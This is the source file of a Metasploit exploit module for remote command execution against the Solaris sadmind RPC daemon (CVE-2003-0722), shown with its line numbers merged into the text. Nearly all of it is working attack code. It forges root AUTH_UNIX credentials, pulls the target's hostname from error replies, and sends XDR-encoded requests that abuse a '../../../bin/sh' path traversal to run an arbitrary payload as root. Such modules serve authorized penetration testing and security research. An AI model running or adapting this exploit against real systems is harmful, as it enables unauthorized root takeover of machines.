Path: blob/master/modules/exploits/solaris/sunrpc/sadmind_exec.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::SunRPC910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Solaris sadmind Command Execution',15'Description' => %q{16This exploit targets a weakness in the default security settings of17the Sun Solstice AdminSuite distributed system administration daemon18(sadmind) RPC application. This server is installed and enabled by19default on most versions of the Solaris operating system.2021Vulnerable systems include Solaris 2.7, 8, and 9.22},23'Author' => [24'vlad902 <vlad902[at]gmail.com>',25'hdm',26'cazz',27'midnitesnake'28],29'License' => MSF_LICENSE,30'References' => [31['CVE', '2003-0722'],32['OSVDB', '4585'],33['BID', '8615']34],35'Privileged' => true,36'Platform' => %w[solaris unix],37'Arch' => ARCH_CMD,38'Payload' => {39'Space' => 2000,40'BadChars' => "\x00",41'DisableNops' => true,42'EncoderType' => Msf::Encoder::Type::CmdPosixPerl,43'Compat' => {44'PayloadType' => 'cmd',45'RequiredCmd' => 'generic perl telnet ksh'46}47},48'Targets' => [ ['Automatic', {}], ],49'DisclosureDate' => '2003-09-13',50'DefaultTarget' => 0,51'Notes' => {52'Stability' => [CRASH_SAFE],53'Reliability' => [REPEATABLE_SESSION],54'SideEffects' => [IOC_IN_LOGS]55}56)57)5859register_options([60OptString.new('HOSTNAME', [false, 'Remote hostname', nil]),61OptInt.new('GID', [false, 'GID to emulate', 0]),62OptInt.new('UID', [false, 'UID to emulate', 0])63])64end6566def check67port = sunrpc_create('udp', 100232, 10)68port.nil? ? CheckCode::Safe : CheckCode::Detected69ensure70sunrpc_destroy unless rpcobj.nil?71end7273def exploit74sunrpc_create('udp', 100232, 10)75sunrpc_authunix('localhost', datastore['UID'], datastore['GID'], [])7677if !datastore['HOSTNAME']78print_status('Attempting to determine hostname')79response = sadmind_request(rand_text_alpha(rand(1..10)), 'true')8081unless response82fail_with(Failure::Unreachable, 'No response')83end8485match = /Security exception on host (.*)\. USER/.match(response)86unless match87fail_with(Failure::Unknown, 'Unable to determine hostname')88end8990hostname = match.captures[0]91print_status("Found hostname: #{hostname}")92else93hostname = datastore['HOSTNAME']94end9596sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])97print_status("Sending payload (#{payload.encoded.length} bytes) ...")98response = sadmind_request(hostname, payload.encoded)99100if /Security exception on host/.match(response)101fail_with(Failure::Unknown, "Security exception for hostname '#{hostname}' (UID #{datastore['UID']} and GID #{datastore['GID']}).")102end103104print_good('Exploit did not give us an error, this is good.')105select(nil, nil, nil, 1)106ensure107sunrpc_destroy unless rpcobj.nil?108end109110def sadmind_request(host, command)111header = Rex::Encoder::XDR.encode(0) * 7112header << Rex::Encoder::XDR.encode(1136, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,1144, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0,115host, 'system', '../../../bin/sh'116)117118body =119do_int('ADM_FW_VERSION', 1) +120do_string('ADM_LANG', 'C') +121do_string('ADM_REQUESTID', '00009:000000000:0') +122do_string('ADM_CLASS', 'system') +123do_string('ADM_CLASS_VERS', '2.1') +124do_string('ADM_METHOD', '../../../bin/sh') +125do_string('ADM_HOST', host) +126do_string('ADM_CLIENT_HOST', host) +127do_string('ADM_CLIENT_DOMAIN', '') +128do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +129do_int('ADM_FENCE', 0) +130do_string('X', '-c') +131do_string('Y', command) +132Rex::Encoder::XDR.encode('netmgt_endofargs')133134request = header + Rex::Encoder::XDR.encode(header.length + body.length - 326) + body135136ret = sunrpc_call(1, request)137return Rex::Encoder::XDR.decode!(ret, Integer, Integer, String)[2]138end139140def do_string(str1, str2)141Rex::Encoder::XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)142end143144def do_int(str, int)145Rex::Encoder::XDR.encode(str, 3, 4, int, 0, 0)146end147end148149150